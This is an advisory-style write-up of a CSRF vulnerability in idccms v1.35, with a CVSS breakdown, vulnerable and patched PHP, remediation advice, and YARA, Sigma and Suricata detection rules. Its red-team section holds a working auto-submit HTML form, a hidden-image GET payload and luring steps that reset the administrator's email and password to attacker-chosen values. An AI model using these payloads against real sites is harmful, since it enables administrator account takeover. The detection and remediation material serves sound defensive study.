CVE-2024-39158

Executive Summary

CVE-2024-39158 is a Cross-Site Request Forgery (CSRF) vulnerability identified in idccms v1.35. The flaw resides in the /admin/userSys_deal.php?mudi=infoSet component, allowing an attacker to craft malicious requests that, when executed by an authenticated administrator, can modify system settings without the user's consent. This vulnerability is classified under CWE-352 (Cross-Site Request Forgery) and has a CVSS v3.1 base score of 8.8 (High), due to the potential for complete compromise of confidentiality, integrity, and availability. No official patch has been released, and the vendor's status remains unknown. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk is elevated for targeted attacks against idccms deployments.

Supply Chain & Package Security

This vulnerability is not associated with any package manager (NPM, PyPI, Go, Ruby) and is specific to the idccms web application. No supply chain implications have been identified.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector (AV): Network – The attack can be launched remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): None – The attacker does not need prior authentication.
• User Interaction (UI): Required – The victim must click a link or visit a malicious page.
• Scope (S): Unchanged – The vulnerable component and the attacker's scope are the same.
• Confidentiality (C): High – Full read access to system data.
• Integrity (I): High – Full write access to system data.
• Availability (A): High – Potential for denial of service or data destruction.

Threat Level: High. Exploitation requires social engineering to trick an admin into performing an action, but the impact is severe, allowing complete takeover of the CMS configuration.

Deep Dive & Mechanics

The vulnerability exists in the infoSet action of the userSys_deal.php script. This endpoint is used by administrators to modify user system settings (e.g., email, password, permissions). The script does not implement any anti-CSRF tokens, origin headers, or referrer checks. As a result, an attacker can craft a malicious HTML page or a simple HTTP request that, when visited by an authenticated admin, will execute the infoSet action with attacker-controlled parameters.

Attack Flow:

1. The attacker identifies a target idccms instance (e.g., via Shodan dork).
2. The attacker crafts a malicious link or embeds a hidden form in a webpage.
3. The attacker lures an authenticated admin to click the link or visit the page.
4. The admin's browser automatically sends a POST/GET request to /admin/userSys_deal.php?mudi=infoSet with attacker-defined parameters (e.g., changing admin email or password).
5. The server processes the request as if it came from the legitimate admin, altering system settings.

Root Cause: Lack of CSRF protection mechanisms (e.g., tokens, SameSite cookies, or origin validation).

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the current implementation. A patched version would include CSRF token validation.

Vulnerable Code (idccms v1.35):

// /admin/userSys_deal.php (simplified)
if ($_GET['mudi'] == 'infoSet') {
    $email = $_POST['email'];
    $password = $_POST['password'];
    // Update database without CSRF check
    $db->query("UPDATE users SET email='$email', password='$password' WHERE id=1");
}

Patched Code (hypothetical):

// /admin/userSys_deal.php (patched)
session_start();
if ($_GET['mudi'] == 'infoSet') {
    if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
        die("CSRF validation failed.");
    }
    $email = filter_input(INPUT_POST, 'email', FILTER_SANITIZE_EMAIL);
    $password = password_hash($_POST['password'], PASSWORD_DEFAULT);
    $stmt = $db->prepare("UPDATE users SET email=?, password=? WHERE id=1");
    $stmt->bind_param("ss", $email, $password);
    $stmt->execute();
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target idccms v1.35 instance with an authenticated admin session.
• Attacker-controlled web server or ability to deliver a malicious link.

Exploit Payload (HTML form auto-submit):

<html>
<body>
<form id="csrf" action="http://target.com/admin/userSys_deal.php?mudi=infoSet" method="POST">
  <input type="hidden" name="email" value="attacker@evil.com">
  <input type="hidden" name="password" value="newpassword123">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

Usage:

1. Host the above HTML on an attacker-controlled server.
2. Send the link to the target admin via email or social engineering.
3. Once the admin visits the page, the form auto-submits, changing the admin email and password.
4. The attacker can then log in with the new credentials.

Alternative (GET-based if applicable):

<img src="http://target.com/admin/userSys_deal.php?mudi=infoSet&email=attacker@evil.com&password=newpassword123" style="display:none;">

Blue Team

Detection:

• Monitor for unexpected changes to admin email or password fields.
• Alert on requests to /admin/userSys_deal.php with mudi=infoSet that lack a valid CSRF token.
• Analyze HTTP Referer headers for mismatched origins.

Prevention:

• Implement CSRF tokens in all state-changing requests.
• Use SameSite cookies (Strict or Lax) for session cookies.
• Validate Origin/Referer headers against a whitelist of trusted domains.

Lab Setup:

1. Install idccms v1.35 on a local server (e.g., XAMPP).
2. Create an admin account and log in.
3. Use Burp Suite or a browser extension to intercept and replay requests.
4. Test the CSRF payload from a different origin (e.g., localhost:8080).

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /admin/userSys_deal.php?mudi=infoSet with suspicious parameters (e.g., email or password changes).
  • Referer header pointing to an external domain.
• System:
  • Unauthorized changes to admin email or password in the database.
  • New admin accounts created (if the endpoint allows it).
• Logs:
  • Web server logs showing POST requests to userSys_deal.php from unexpected IPs or referrers.

Detection Engineering

YARA Rule

rule idccms_csrf_cve_2024_39158 {
    meta:
        description = "Detects CSRF exploitation attempts against idccms v1.35"
        author = "Valters IT"
        date = "2024-06-01"
        reference = "CVE-2024-39158"
    strings:
        $s1 = "userSys_deal.php" nocase
        $s2 = "mudi=infoSet" nocase
        $s3 = "email=" nocase
        $s4 = "password=" nocase
    condition:
        all of ($s1, $s2) and any of ($s3, $s4)
}

Sigma Rule

title: CSRF Exploitation Attempt Against idccms
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests targeting the vulnerable CSRF endpoint in idccms v1.35
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/admin/userSys_deal.php?mudi=infoSet'
    condition: selection
falsepositives:
    - Legitimate admin actions (if CSRF tokens are implemented)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-39158 - idccms CSRF Attempt"; flow:to_server; content:"/admin/userSys_deal.php"; http_uri; content:"mudi=infoSet"; http_uri; content:"email="; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not required: Block access to /admin/userSys_deal.php via web server configuration (e.g., .htaccess).
2. Implement CSRF tokens: Add a unique, per-session token to all forms and validate on the server side.
3. Use SameSite cookies: Set SameSite=Strict or Lax on session cookies to prevent cross-origin submission.
4. Validate Origin/Referer: Reject requests where the Origin or Referer header does not match the application's domain.

Long-term Fix:

• Upgrade to a patched version of idccms if/when available.
• Conduct a full security audit of the application for similar CSRF vulnerabilities.

Workaround:

• Add a custom middleware or .htaccess rule to require a custom header (e.g., X-Requested-With: XMLHttpRequest) for state-changing requests.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert